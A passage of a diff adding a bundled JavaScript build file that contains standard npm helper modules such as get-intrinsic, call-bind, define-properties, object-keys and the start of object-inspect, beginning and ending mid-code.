BigUint64Array, + "%Boolean%": Boolean, + "%DataView%": typeof DataView === "undefined" ? undefined2 : DataView, + "%Date%": Date, + "%decodeURI%": decodeURI, + "%decodeURIComponent%": decodeURIComponent, + "%encodeURI%": encodeURI, + "%encodeURIComponent%": encodeURIComponent, + "%Error%": $Error, + "%eval%": eval, + // eslint-disable-line no-eval + "%EvalError%": $EvalError, + "%Float32Array%": typeof Float32Array === "undefined" ? undefined2 : Float32Array, + "%Float64Array%": typeof Float64Array === "undefined" ? undefined2 : Float64Array, + "%FinalizationRegistry%": typeof FinalizationRegistry === "undefined" ? undefined2 : FinalizationRegistry, + "%Function%": $Function, + "%GeneratorFunction%": needsEval, + "%Int8Array%": typeof Int8Array === "undefined" ? undefined2 : Int8Array, + "%Int16Array%": typeof Int16Array === "undefined" ? undefined2 : Int16Array, + "%Int32Array%": typeof Int32Array === "undefined" ? undefined2 : Int32Array, + "%isFinite%": isFinite, + "%isNaN%": isNaN, + "%IteratorPrototype%": hasSymbols && getProto ? getProto(getProto([][Symbol.iterator]())) : undefined2, + "%JSON%": typeof JSON === "object" ? JSON : undefined2, + "%Map%": typeof Map === "undefined" ? undefined2 : Map, + "%MapIteratorPrototype%": typeof Map === "undefined" || !hasSymbols || !getProto ? undefined2 : getProto((/* @__PURE__ */ new Map())[Symbol.iterator]()), + "%Math%": Math, + "%Number%": Number, + "%Object%": Object, + "%parseFloat%": parseFloat, + "%parseInt%": parseInt, + "%Promise%": typeof Promise === "undefined" ? undefined2 : Promise, + "%Proxy%": typeof Proxy === "undefined" ? undefined2 : Proxy, + "%RangeError%": $RangeError, + "%ReferenceError%": $ReferenceError, + "%Reflect%": typeof Reflect === "undefined" ? undefined2 : Reflect, + "%RegExp%": RegExp, + "%Set%": typeof Set === "undefined" ? undefined2 : Set, + "%SetIteratorPrototype%": typeof Set === "undefined" || !hasSymbols || !getProto ? undefined2 : getProto((/* @__PURE__ */ new Set())[Symbol.iterator]()), + "%SharedArrayBuffer%": typeof SharedArrayBuffer === "undefined" ? undefined2 : SharedArrayBuffer, + "%String%": String, + "%StringIteratorPrototype%": hasSymbols && getProto ? getProto(""[Symbol.iterator]()) : undefined2, + "%Symbol%": hasSymbols ? Symbol : undefined2, + "%SyntaxError%": $SyntaxError, + "%ThrowTypeError%": ThrowTypeError, + "%TypedArray%": TypedArray, + "%TypeError%": $TypeError, + "%Uint8Array%": typeof Uint8Array === "undefined" ? undefined2 : Uint8Array, + "%Uint8ClampedArray%": typeof Uint8ClampedArray === "undefined" ? undefined2 : Uint8ClampedArray, + "%Uint16Array%": typeof Uint16Array === "undefined" ? undefined2 : Uint16Array, + "%Uint32Array%": typeof Uint32Array === "undefined" ? undefined2 : Uint32Array, + "%URIError%": $URIError, + "%WeakMap%": typeof WeakMap === "undefined" ? undefined2 : WeakMap, + "%WeakRef%": typeof WeakRef === "undefined" ? undefined2 : WeakRef, + "%WeakSet%": typeof WeakSet === "undefined" ? undefined2 : WeakSet + }; + if (getProto) { + try { + null.error; + } catch (e) { + errorProto = getProto(getProto(e)); + INTRINSICS["%Error.prototype%"] = errorProto; + } + } + var errorProto; + var doEval = function doEval2(name) { + var value; + if (name === "%AsyncFunction%") { + value = getEvalledConstructor("async function () {}"); + } else if (name === "%GeneratorFunction%") { + value = getEvalledConstructor("function* () {}"); + } else if (name === "%AsyncGeneratorFunction%") { + value = getEvalledConstructor("async function* () {}"); + } else if (name === "%AsyncGenerator%") { + var fn2 = doEval2("%AsyncGeneratorFunction%"); + if (fn2) { + value = fn2.prototype; + } + } else if (name === "%AsyncIteratorPrototype%") { + var gen = doEval2("%AsyncGenerator%"); + if (gen && getProto) { + value = getProto(gen.prototype); + } + } + INTRINSICS[name] = value; + return value; + }; + var LEGACY_ALIASES = { + __proto__: null, + "%ArrayBufferPrototype%": ["ArrayBuffer", "prototype"], + "%ArrayPrototype%": ["Array", "prototype"], + "%ArrayProto_entries%": ["Array", "prototype", "entries"], + "%ArrayProto_forEach%": ["Array", "prototype", "forEach"], + "%ArrayProto_keys%": ["Array", "prototype", "keys"], + "%ArrayProto_values%": ["Array", "prototype", "values"], + "%AsyncFunctionPrototype%": ["AsyncFunction", "prototype"], + "%AsyncGenerator%": ["AsyncGeneratorFunction", "prototype"], + "%AsyncGeneratorPrototype%": ["AsyncGeneratorFunction", "prototype", "prototype"], + "%BooleanPrototype%": ["Boolean", "prototype"], + "%DataViewPrototype%": ["DataView", "prototype"], + "%DatePrototype%": ["Date", "prototype"], + "%ErrorPrototype%": ["Error", "prototype"], + "%EvalErrorPrototype%": ["EvalError", "prototype"], + "%Float32ArrayPrototype%": ["Float32Array", "prototype"], + "%Float64ArrayPrototype%": ["Float64Array", "prototype"], + "%FunctionPrototype%": ["Function", "prototype"], + "%Generator%": ["GeneratorFunction", "prototype"], + "%GeneratorPrototype%": ["GeneratorFunction", "prototype", "prototype"], + "%Int8ArrayPrototype%": ["Int8Array", "prototype"], + "%Int16ArrayPrototype%": ["Int16Array", "prototype"], + "%Int32ArrayPrototype%": ["Int32Array", "prototype"], + "%JSONParse%": ["JSON", "parse"], + "%JSONStringify%": ["JSON", "stringify"], + "%MapPrototype%": ["Map", "prototype"], + "%NumberPrototype%": ["Number", "prototype"], + "%ObjectPrototype%": ["Object", "prototype"], + "%ObjProto_toString%": ["Object", "prototype", "toString"], + "%ObjProto_valueOf%": ["Object", "prototype", "valueOf"], + "%PromisePrototype%": ["Promise", "prototype"], + "%PromiseProto_then%": ["Promise", "prototype", "then"], + "%Promise_all%": ["Promise", "all"], + "%Promise_reject%": ["Promise", "reject"], + "%Promise_resolve%": ["Promise", "resolve"], + "%RangeErrorPrototype%": ["RangeError", "prototype"], + "%ReferenceErrorPrototype%": ["ReferenceError", "prototype"], + "%RegExpPrototype%": ["RegExp", "prototype"], + "%SetPrototype%": ["Set", "prototype"], + "%SharedArrayBufferPrototype%": ["SharedArrayBuffer", "prototype"], + "%StringPrototype%": ["String", "prototype"], + "%SymbolPrototype%": ["Symbol", "prototype"], + "%SyntaxErrorPrototype%": ["SyntaxError", "prototype"], + "%TypedArrayPrototype%": ["TypedArray", "prototype"], + "%TypeErrorPrototype%": ["TypeError", "prototype"], + "%Uint8ArrayPrototype%": ["Uint8Array", "prototype"], + "%Uint8ClampedArrayPrototype%": ["Uint8ClampedArray", "prototype"], + "%Uint16ArrayPrototype%": ["Uint16Array", "prototype"], + "%Uint32ArrayPrototype%": ["Uint32Array", "prototype"], + "%URIErrorPrototype%": ["URIError", "prototype"], + "%WeakMapPrototype%": ["WeakMap", "prototype"], + "%WeakSetPrototype%": ["WeakSet", "prototype"] + }; + var bind = require_function_bind(); + var hasOwn = require_hasown(); + var $concat = bind.call(Function.call, Array.prototype.concat); + var $spliceApply = bind.call(Function.apply, Array.prototype.splice); + var $replace = bind.call(Function.call, String.prototype.replace); + var $strSlice = bind.call(Function.call, String.prototype.slice); + var $exec = bind.call(Function.call, RegExp.prototype.exec); + var rePropName = /[^%.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|%$))/g; + var reEscapeChar = /\\(\\)?/g; + var stringToPath = function stringToPath2(string2) { + var first = $strSlice(string2, 0, 1); + var last = $strSlice(string2, -1); + if (first === "%" && last !== "%") { + throw new $SyntaxError("invalid intrinsic syntax, expected closing `%`"); + } else if (last === "%" && first !== "%") { + throw new $SyntaxError("invalid intrinsic syntax, expected opening `%`"); + } + var result = []; + $replace(string2, rePropName, function(match, number2, quote, subString) { + result[result.length] = quote ? $replace(subString, reEscapeChar, "$1") : number2 || match; + }); + return result; + }; + var getBaseIntrinsic = function getBaseIntrinsic2(name, allowMissing) { + var intrinsicName = name; + var alias; + if (hasOwn(LEGACY_ALIASES, intrinsicName)) { + alias = LEGACY_ALIASES[intrinsicName]; + intrinsicName = "%" + alias[0] + "%"; + } + if (hasOwn(INTRINSICS, intrinsicName)) { + var value = INTRINSICS[intrinsicName]; + if (value === needsEval) { + value = doEval(intrinsicName); + } + if (typeof value === "undefined" && !allowMissing) { + throw new $TypeError("intrinsic " + name + " exists, but is not available. Please file an issue!"); + } + return { + alias, + name: intrinsicName, + value + }; + } + throw new $SyntaxError("intrinsic " + name + " does not exist!"); + }; + module2.exports = function GetIntrinsic(name, allowMissing) { + if (typeof name !== "string" || name.length === 0) { + throw new $TypeError("intrinsic name must be a non-empty string"); + } + if (arguments.length > 1 && typeof allowMissing !== "boolean") { + throw new $TypeError('"allowMissing" argument must be a boolean'); + } + if ($exec(/^%?[^%]*%?$/, name) === null) { + throw new $SyntaxError("`%` may not be present anywhere but at the beginning and end of the intrinsic name"); + } + var parts = stringToPath(name); + var intrinsicBaseName = parts.length > 0 ? parts[0] : ""; + var intrinsic = getBaseIntrinsic("%" + intrinsicBaseName + "%", allowMissing); + var intrinsicRealName = intrinsic.name; + var value = intrinsic.value; + var skipFurtherCaching = false; + var alias = intrinsic.alias; + if (alias) { + intrinsicBaseName = alias[0]; + $spliceApply(parts, $concat([0, 1], alias)); + } + for (var i = 1, isOwn = true; i < parts.length; i += 1) { + var part = parts[i]; + var first = $strSlice(part, 0, 1); + var last = $strSlice(part, -1); + if ((first === '"' || first === "'" || first === "`" || (last === '"' || last === "'" || last === "`")) && first !== last) { + throw new $SyntaxError("property names with quotes must have matching quotes"); + } + if (part === "constructor" || !isOwn) { + skipFurtherCaching = true; + } + intrinsicBaseName += "." + part; + intrinsicRealName = "%" + intrinsicBaseName + "%"; + if (hasOwn(INTRINSICS, intrinsicRealName)) { + value = INTRINSICS[intrinsicRealName]; + } else if (value != null) { + if (!(part in value)) { + if (!allowMissing) { + throw new $TypeError("base intrinsic for " + name + " exists, but the property is not available."); + } + return void 0; + } + if ($gOPD && i + 1 >= parts.length) { + var desc = $gOPD(value, part); + isOwn = !!desc; + if (isOwn && "get" in desc && !("originalValue" in desc.get)) { + value = desc.get; + } else { + value = value[part]; + } + } else { + isOwn = hasOwn(value, part); + value = value[part]; + } + if (isOwn && !skipFurtherCaching) { + INTRINSICS[intrinsicRealName] = value; + } + } + } + return value; + }; + } +}); + +// node_modules/es-define-property/index.js +var require_es_define_property = __commonJS({ + "node_modules/es-define-property/index.js"(exports, module2) { + "use strict"; + var GetIntrinsic = require_get_intrinsic(); + var $defineProperty = GetIntrinsic("%Object.defineProperty%", true) || false; + if ($defineProperty) { + try { + $defineProperty({}, "a", { value: 1 }); + } catch (e) { + $defineProperty = false; + } + } + module2.exports = $defineProperty; + } +}); + +// node_modules/gopd/index.js +var require_gopd = __commonJS({ + "node_modules/gopd/index.js"(exports, module2) { + "use strict"; + var GetIntrinsic = require_get_intrinsic(); + var $gOPD = GetIntrinsic("%Object.getOwnPropertyDescriptor%", true); + if ($gOPD) { + try { + $gOPD([], "length"); + } catch (e) { + $gOPD = null; + } + } + module2.exports = $gOPD; + } +}); + +// node_modules/define-data-property/index.js +var require_define_data_property = __commonJS({ + "node_modules/define-data-property/index.js"(exports, module2) { + "use strict"; + var $defineProperty = require_es_define_property(); + var $SyntaxError = require_syntax(); + var $TypeError = require_type(); + var gopd = require_gopd(); + module2.exports = function defineDataProperty(obj, property, value) { + if (!obj || typeof obj !== "object" && typeof obj !== "function") { + throw new $TypeError("`obj` must be an object or a function`"); + } + if (typeof property !== "string" && typeof property !== "symbol") { + throw new $TypeError("`property` must be a string or a symbol`"); + } + if (arguments.length > 3 && typeof arguments[3] !== "boolean" && arguments[3] !== null) { + throw new $TypeError("`nonEnumerable`, if provided, must be a boolean or null"); + } + if (arguments.length > 4 && typeof arguments[4] !== "boolean" && arguments[4] !== null) { + throw new $TypeError("`nonWritable`, if provided, must be a boolean or null"); + } + if (arguments.length > 5 && typeof arguments[5] !== "boolean" && arguments[5] !== null) { + throw new $TypeError("`nonConfigurable`, if provided, must be a boolean or null"); + } + if (arguments.length > 6 && typeof arguments[6] !== "boolean") { + throw new $TypeError("`loose`, if provided, must be a boolean"); + } + var nonEnumerable = arguments.length > 3 ? arguments[3] : null; + var nonWritable = arguments.length > 4 ? arguments[4] : null; + var nonConfigurable = arguments.length > 5 ? arguments[5] : null; + var loose = arguments.length > 6 ? arguments[6] : false; + var desc = !!gopd && gopd(obj, property); + if ($defineProperty) { + $defineProperty(obj, property, { + configurable: nonConfigurable === null && desc ? desc.configurable : !nonConfigurable, + enumerable: nonEnumerable === null && desc ? desc.enumerable : !nonEnumerable, + value, + writable: nonWritable === null && desc ? desc.writable : !nonWritable + }); + } else if (loose || !nonEnumerable && !nonWritable && !nonConfigurable) { + obj[property] = value; + } else { + throw new $SyntaxError("This environment does not support defining a property as non-configurable, non-writable, or non-enumerable."); + } + }; + } +}); + +// node_modules/has-property-descriptors/index.js +var require_has_property_descriptors = __commonJS({ + "node_modules/has-property-descriptors/index.js"(exports, module2) { + "use strict"; + var $defineProperty = require_es_define_property(); + var hasPropertyDescriptors = function hasPropertyDescriptors2() { + return !!$defineProperty; + }; + hasPropertyDescriptors.hasArrayLengthDefineBug = function hasArrayLengthDefineBug() { + if (!$defineProperty) { + return null; + } + try { + return $defineProperty([], "length", { value: 1 }).length !== 1; + } catch (e) { + return true; + } + }; + module2.exports = hasPropertyDescriptors; + } +}); + +// node_modules/set-function-length/index.js +var require_set_function_length = __commonJS({ + "node_modules/set-function-length/index.js"(exports, module2) { + "use strict"; + var GetIntrinsic = require_get_intrinsic(); + var define = require_define_data_property(); + var hasDescriptors = require_has_property_descriptors()(); + var gOPD = require_gopd(); + var $TypeError = require_type(); + var $floor = GetIntrinsic("%Math.floor%"); + module2.exports = function setFunctionLength(fn2, length) { + if (typeof fn2 !== "function") { + throw new $TypeError("`fn` is not a function"); + } + if (typeof length !== "number" || length < 0 || length > 4294967295 || $floor(length) !== length) { + throw new $TypeError("`length` must be a positive 32-bit integer"); + } + var loose = arguments.length > 2 && !!arguments[2]; + var functionLengthIsConfigurable = true; + var functionLengthIsWritable = true; + if ("length" in fn2 && gOPD) { + var desc = gOPD(fn2, "length"); + if (desc && !desc.configurable) { + functionLengthIsConfigurable = false; + } + if (desc && !desc.writable) { + functionLengthIsWritable = false; + } + } + if (functionLengthIsConfigurable || functionLengthIsWritable || !loose) { + if (hasDescriptors) { + define( + /** @type {Parameters[0]} */ + fn2, + "length", + length, + true, + true + ); + } else { + define( + /** @type {Parameters[0]} */ + fn2, + "length", + length + ); + } + } + return fn2; + }; + } +}); + +// node_modules/call-bind/index.js +var require_call_bind = __commonJS({ + "node_modules/call-bind/index.js"(exports, module2) { + "use strict"; + var bind = require_function_bind(); + var GetIntrinsic = require_get_intrinsic(); + var setFunctionLength = require_set_function_length(); + var $TypeError = require_type(); + var $apply = GetIntrinsic("%Function.prototype.apply%"); + var $call = GetIntrinsic("%Function.prototype.call%"); + var $reflectApply = GetIntrinsic("%Reflect.apply%", true) || bind.call($call, $apply); + var $defineProperty = require_es_define_property(); + var $max = GetIntrinsic("%Math.max%"); + module2.exports = function callBind(originalFunction) { + if (typeof originalFunction !== "function") { + throw new $TypeError("a function is required"); + } + var func = $reflectApply(bind, $call, arguments); + return setFunctionLength( + func, + 1 + $max(0, originalFunction.length - (arguments.length - 1)), + true + ); + }; + var applyBind = function applyBind2() { + return $reflectApply(bind, $apply, arguments); + }; + if ($defineProperty) { + $defineProperty(module2.exports, "apply", { value: applyBind }); + } else { + module2.exports.apply = applyBind; + } + } +}); + +// node_modules/object-keys/isArguments.js +var require_isArguments = __commonJS({ + "node_modules/object-keys/isArguments.js"(exports, module2) { + "use strict"; + var toStr = Object.prototype.toString; + module2.exports = function isArguments(value) { + var str = toStr.call(value); + var isArgs = str === "[object Arguments]"; + if (!isArgs) { + isArgs = str !== "[object Array]" && value !== null && typeof value === "object" && typeof value.length === "number" && value.length >= 0 && toStr.call(value.callee) === "[object Function]"; + } + return isArgs; + }; + } +}); + +// node_modules/object-keys/implementation.js +var require_implementation2 = __commonJS({ + "node_modules/object-keys/implementation.js"(exports, module2) { + "use strict"; + var keysShim; + if (!Object.keys) { + has = Object.prototype.hasOwnProperty; + toStr = Object.prototype.toString; + isArgs = require_isArguments(); + isEnumerable = Object.prototype.propertyIsEnumerable; + hasDontEnumBug = !isEnumerable.call({ toString: null }, "toString"); + hasProtoEnumBug = isEnumerable.call(function() { + }, "prototype"); + dontEnums = [ + "toString", + "toLocaleString", + "valueOf", + "hasOwnProperty", + "isPrototypeOf", + "propertyIsEnumerable", + "constructor" + ]; + equalsConstructorPrototype = function(o) { + var ctor = o.constructor; + return ctor && ctor.prototype === o; + }; + excludedKeys = { + $applicationCache: true, + $console: true, + $external: true, + $frame: true, + $frameElement: true, + $frames: true, + $innerHeight: true, + $innerWidth: true, + $onmozfullscreenchange: true, + $onmozfullscreenerror: true, + $outerHeight: true, + $outerWidth: true, + $pageXOffset: true, + $pageYOffset: true, + $parent: true, + $scrollLeft: true, + $scrollTop: true, + $scrollX: true, + $scrollY: true, + $self: true, + $webkitIndexedDB: true, + $webkitStorageInfo: true, + $window: true + }; + hasAutomationEqualityBug = function() { + if (typeof window === "undefined") { + return false; + } + for (var k in window) { + try { + if (!excludedKeys["$" + k] && has.call(window, k) && window[k] !== null && typeof window[k] === "object") { + try { + equalsConstructorPrototype(window[k]); + } catch (e) { + return true; + } + } + } catch (e) { + return true; + } + } + return false; + }(); + equalsConstructorPrototypeIfNotBuggy = function(o) { + if (typeof window === "undefined" || !hasAutomationEqualityBug) { + return equalsConstructorPrototype(o); + } + try { + return equalsConstructorPrototype(o); + } catch (e) { + return false; + } + }; + keysShim = function keys(object2) { + var isObject = object2 !== null && typeof object2 === "object"; + var isFunction = toStr.call(object2) === "[object Function]"; + var isArguments = isArgs(object2); + var isString = isObject && toStr.call(object2) === "[object String]"; + var theKeys = []; + if (!isObject && !isFunction && !isArguments) { + throw new TypeError("Object.keys called on a non-object"); + } + var skipProto = hasProtoEnumBug && isFunction; + if (isString && object2.length > 0 && !has.call(object2, 0)) { + for (var i = 0; i < object2.length; ++i) { + theKeys.push(String(i)); + } + } + if (isArguments && object2.length > 0) { + for (var j = 0; j < object2.length; ++j) { + theKeys.push(String(j)); + } + } else { + for (var name in object2) { + if (!(skipProto && name === "prototype") && has.call(object2, name)) { + theKeys.push(String(name)); + } + } + } + if (hasDontEnumBug) { + var skipConstructor = equalsConstructorPrototypeIfNotBuggy(object2); + for (var k = 0; k < dontEnums.length; ++k) { + if (!(skipConstructor && dontEnums[k] === "constructor") && has.call(object2, dontEnums[k])) { + theKeys.push(dontEnums[k]); + } + } + } + return theKeys; + }; + } + var has; + var toStr; + var isArgs; + var isEnumerable; + var hasDontEnumBug; + var hasProtoEnumBug; + var dontEnums; + var equalsConstructorPrototype; + var excludedKeys; + var hasAutomationEqualityBug; + var equalsConstructorPrototypeIfNotBuggy; + module2.exports = keysShim; + } +}); + +// node_modules/object-keys/index.js +var require_object_keys = __commonJS({ + "node_modules/object-keys/index.js"(exports, module2) { + "use strict"; + var slice = Array.prototype.slice; + var isArgs = require_isArguments(); + var origKeys = Object.keys; + var keysShim = origKeys ? function keys(o) { + return origKeys(o); + } : require_implementation2(); + var originalKeys = Object.keys; + keysShim.shim = function shimObjectKeys() { + if (Object.keys) { + var keysWorksWithArguments = function() { + var args = Object.keys(arguments); + return args && args.length === arguments.length; + }(1, 2); + if (!keysWorksWithArguments) { + Object.keys = function keys(object2) { + if (isArgs(object2)) { + return originalKeys(slice.call(object2)); + } + return originalKeys(object2); + }; + } + } else { + Object.keys = keysShim; + } + return Object.keys || keysShim; + }; + module2.exports = keysShim; + } +}); + +// node_modules/define-properties/index.js +var require_define_properties = __commonJS({ + "node_modules/define-properties/index.js"(exports, module2) { + "use strict"; + var keys = require_object_keys(); + var hasSymbols = typeof Symbol === "function" && typeof Symbol("foo") === "symbol"; + var toStr = Object.prototype.toString; + var concat = Array.prototype.concat; + var defineDataProperty = require_define_data_property(); + var isFunction = function(fn2) { + return typeof fn2 === "function" && toStr.call(fn2) === "[object Function]"; + }; + var supportsDescriptors = require_has_property_descriptors()(); + var defineProperty = function(object2, name, value, predicate) { + if (name in object2) { + if (predicate === true) { + if (object2[name] === value) { + return; + } + } else if (!isFunction(predicate) || !predicate()) { + return; + } + } + if (supportsDescriptors) { + defineDataProperty(object2, name, value, true); + } else { + defineDataProperty(object2, name, value); + } + }; + var defineProperties = function(object2, map) { + var predicates = arguments.length > 2 ? arguments[2] : {}; + var props = keys(map); + if (hasSymbols) { + props = concat.call(props, Object.getOwnPropertySymbols(map)); + } + for (var i = 0; i < props.length; i += 1) { + defineProperty(object2, props[i], map[props[i]], predicates[props[i]]); + } + }; + defineProperties.supportsDescriptors = !!supportsDescriptors; + module2.exports = defineProperties; + } +}); + +// node_modules/es-abstract/helpers/setProto.js +var require_setProto = __commonJS({ + "node_modules/es-abstract/helpers/setProto.js"(exports, module2) { + "use strict"; + var GetIntrinsic = require_get_intrinsic(); + var originalSetProto = GetIntrinsic("%Object.setPrototypeOf%", true); + var hasProto = require_has_proto()(); + module2.exports = originalSetProto || (hasProto ? function(O, proto) { + O.__proto__ = proto; + return O; + } : null); + } +}); + +// node_modules/es-abstract/helpers/getProto.js +var require_getProto = __commonJS({ + "node_modules/es-abstract/helpers/getProto.js"(exports, module2) { + "use strict"; + var GetIntrinsic = require_get_intrinsic(); + var originalGetProto = GetIntrinsic("%Object.getPrototypeOf%", true); + var hasProto = require_has_proto()(); + module2.exports = originalGetProto || (hasProto ? function(O) { + return O.__proto__; + } : null); + } +}); + +// node_modules/es-abstract/5/Type.js +var require_Type = __commonJS({ + "node_modules/es-abstract/5/Type.js"(exports, module2) { + "use strict"; + module2.exports = function Type(x) { + if (x === null) { + return "Null"; + } + if (typeof x === "undefined") { + return "Undefined"; + } + if (typeof x === "function" || typeof x === "object") { + return "Object"; + } + if (typeof x === "number") { + return "Number"; + } + if (typeof x === "boolean") { + return "Boolean"; + } + if (typeof x === "string") { + return "String"; + } + }; + } +}); + +// node_modules/es-abstract/2023/Type.js +var require_Type2 = __commonJS({ + "node_modules/es-abstract/2023/Type.js"(exports, module2) { + "use strict"; + var ES5Type = require_Type(); + module2.exports = function Type(x) { + if (typeof x === "symbol") { + return "Symbol"; + } + if (typeof x === "bigint") { + return "BigInt"; + } + return ES5Type(x); + }; + } +}); + +// node_modules/es-abstract/2023/OrdinaryGetPrototypeOf.js +var require_OrdinaryGetPrototypeOf = __commonJS({ + "node_modules/es-abstract/2023/OrdinaryGetPrototypeOf.js"(exports, module2) { + "use strict"; + var $TypeError = require_type(); + var $getProto = require_getProto(); + var Type = require_Type2(); + module2.exports = function OrdinaryGetPrototypeOf(O) { + if (Type(O) !== "Object") { + throw new $TypeError("Assertion failed: O must be an Object"); + } + if (!$getProto) { + throw new $TypeError("This environment does not support fetching prototypes."); + } + return $getProto(O); + }; + } +}); + +// node_modules/es-abstract/2023/OrdinarySetPrototypeOf.js +var require_OrdinarySetPrototypeOf = __commonJS({ + "node_modules/es-abstract/2023/OrdinarySetPrototypeOf.js"(exports, module2) { + "use strict"; + var $TypeError = require_type(); + var $setProto = require_setProto(); + var OrdinaryGetPrototypeOf = require_OrdinaryGetPrototypeOf(); + module2.exports = function OrdinarySetPrototypeOf(O, V) { + if (typeof V !== "object") { + throw new $TypeError("Assertion failed: V must be Object or Null"); + } + try { + $setProto(O, V); + } catch (e) { + return false; + } + return OrdinaryGetPrototypeOf(O) === V; + }; + } +}); + +// node_modules/call-bind/callBound.js +var require_callBound = __commonJS({ + "node_modules/call-bind/callBound.js"(exports, module2) { + "use strict"; + var GetIntrinsic = require_get_intrinsic(); + var callBind = require_call_bind(); + var $indexOf = callBind(GetIntrinsic("String.prototype.indexOf")); + module2.exports = function callBoundIntrinsic(name, allowMissing) { + var intrinsic = GetIntrinsic(name, !!allowMissing); + if (typeof intrinsic === "function" && $indexOf(name, ".prototype.") > -1) { + return callBind(intrinsic); + } + return intrinsic; + }; + } +}); + +// (disabled):node_modules/object-inspect/util.inspect +var require_util = __commonJS({ + "(disabled):node_modules/object-inspect/util.inspect"() { + } +}); + +// node_modules/object-inspect/index.js +var require_object_inspect = __commonJS({ + "node_modules/object-inspect/index.js"(exports, module2) { + var hasMap = typeof Map === "function" && Map.prototype; + var mapSizeDescriptor = Object.getOwnPropertyDescriptor && hasMap ? Object.getOwnPropertyDescriptor(Map.prototype, "size") : null; + var mapSize = hasMap && mapSizeDescriptor && typeof mapSizeDescriptor.get === "function" ? mapSizeDescriptor.get : null; + var mapForEach = hasMap && Map.prototype.forEach; + var hasSet = typeof Set === "function" && Set.prototype; + var setSizeDescriptor = Object.getOwnPropertyDescriptor && hasSet ? Object.getOwnPropertyDescriptor(Set.prototype, "size") : null; + var setSize = hasSet && setSizeDescriptor && typeof setSizeDescriptor.get === "function" ? setSizeDescriptor.get : null; + var setForEach = hasSet && Set.prototype.forEach; + var hasWeakMap = typeof WeakMap === "function" && WeakMap.prototype; + var weakMapHas = hasWeakMap ? WeakMap.prototype.has : null; + var hasWeakSet = typeof WeakSet === "function" && WeakSet.prototype; + var weakSetHas = hasWeakSet ? WeakSet.prototype.has : null; + var hasWeakRef = typeof WeakRef === "function" && WeakRef.prototype; + var weakRefDeref = hasWeakRef ? WeakRef.prototype.deref : null; + var booleanValueOf = Boolean.prototype.valueOf; + var objectToString = Object.prototype.toString; + var functionToString = Function.prototype.toString; + var $match = String.prototype.match; + var $slice = String.prototype.slice; + var $replace = String.prototype.replace; + var $toUpperCase = String.prototype.toUpperCase; + var $toLowerCase = String.prototype.toLowerCase; + var $test = RegExp.prototype.test; + var $concat = Array.prototype.concat; + var $join = Array.prototype.join; + var $arrSlice = Array.prototype.slice; + var $floor = Math.floor; + var bigIntValueOf = typeof BigInt === "function" ? BigInt.prototype.valueOf : null; + var gOPS = Object.getOwnPropertySymbols; + var symToString = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? Symbol.prototype.toString : null; + var hasShammedSymbols = typeof Symbol === "function" && typeof Symbol.iterator === "object"; + var toStringTag = typeof Symbol === "function" && Symbol.toStringTag && (typeof Symbol.toStringTag === hasShammedSymbols ? "object" : "symbol") ? Symbol.toStringTag : null; + var isEnumerable = Object.prototype.propertyIsEnumerable; + var gPO = (typeof Reflect === "function" ? Reflect.getPrototypeOf : Object.getPrototypeOf) || ([].__proto__ === Array.prototype ? function(O) { + return O.__proto__; + } : null); + function addNumericSeparator(num, str) { + if (num === Infinity || num === -Infinity || num !== num || num && num > -1e3 && num < 1e3 || $test.call(/e/, str)) { + return str; + } + var sepRegex = /[0-9](?=(?:[0-9]{3})+(?![0-9]))/g; + if (typeof num === "number") { + var int = num < 0 ? -$floor(-num) : $floor(num); + if (int !== num) { + var intStr = String(int); + var dec = $slice.call(str, intStr.length + 1); + return $replace.call(intStr, sepRegex, "$&_") + "." + $replace.call($replace.call(dec, /([0-9]{3})/g, "$&_"), /_$/, ""); + } + } + return $replace.call(str, sepRegex, "$&_"); + } + var utilInspect = require_util(); + var inspectCustom = utilInspect.custom; + var inspectSymbol = isSymbol(inspectCustom) ? inspectCustom : null; + module2.exports = function inspect_(obj, options, depth, seen) { + var opts = options || {}; + if (has(opts, "quoteStyle") && (opts.quoteStyle !== "single" && opts.quoteStyle !== "double")) { + throw new TypeError('option "quoteStyle" must be "single" or "double"'); + } + if (has(opts, "maxStringLength") && (typeof opts.maxStringLength === "number" ? opts.maxStringLength < 0 && opts.maxStringLength !== Infinity : opts.maxStringLength !== null)) { + throw new TypeError('option "maxStringLength", if provided, must be a positive integer, Infinity, or `null`'); + } + var customInspect = has(opts, "customInspect") ? opts.customInspect : true; + if (typeof customInspect !== "boolean" && customInspect !== "symbol") { + throw new TypeError("option \"customInspect\", if provided, must be `true`, `false`, or `'symbol'`"); + } + if (has(opts, "indent") && opts.indent !== null && opts.indent !== " " && !(parseInt(opts.indent, 10) === opts.indent && opts.indent > 0)) { + throw new TypeError('option "indent" must be "\\t", an integer > 0, or `null`'); + } + if (has(opts, "numericSeparator") && typeof opts.numericSeparator !== "boolean") { + throw new TypeError('option "numericSeparator", if provided, must be `true` or `false`'); + } + var numericSeparator = opts.numericSeparator; + if (typeof obj === "undefined") { + return "undefined"; + } + if (obj === null) { + return "null"; + } + if (typeof obj === "boolean") { + return obj ? "true" : "false"; + } + if (typeof obj === "string") { + return inspectString(obj, opts); + } + if (typeof obj === "number") { + if (obj === 0) { + return Infinity / obj > 0 ? "0" : "-0"; + } + var str = String(obj); + return numericSeparator ? addNumericSeparator(obj, str) : str; + } + if (typeof obj === "bigint") { + var bigIntStr = String(obj) + "n"; + return numericSeparator ? addNumericSeparator(obj, bigIntStr) : bigIntStr; + } + var maxDepth = typeof opts.depth === "undefined" ? 5 : opts.depth; + if (typeof depth === "undefined") { + depth = 0; + } + if (depth >= maxDepth && maxDepth > 0 && typeof obj === "object") { + return isArray(obj) ? "[Array]" : "[Object]"; + } + var indent = getIndent(opts, depth); + if (typeof seen === "undefined") { + seen = []; + } else if (indexOf(seen, obj) >= 0) { + return "[Circular]"; + } + function inspect(value, from, noIndent) { + if (from) { + seen = $arrSlice.call(seen); + seen.push(from); + } + if (noIndent) { + var newOpts = { + depth: opts.depth + }; + if (has(opts, "quoteStyle")) { + newOpts.quoteStyle = opts.quoteStyle; + } + return inspect_(value, newOpts, depth + 1, seen); + } + return inspect_(value, opts, depth + 1, seen); + } + if (typeof obj === "function" && !isRegExp(obj)) { + var name = nameOf(obj); + var keys = arrObjKeys(obj, inspect); + return "[Function" + (name ? ": " + name : " (anonymous)") + "]" + (keys.length > 0 ? " { " + $join.call(keys, ", ") + " }" : ""); + } + if (isSymbol(obj)) { + var symString = hasShammedSymbols ? $replace.call(String(obj), 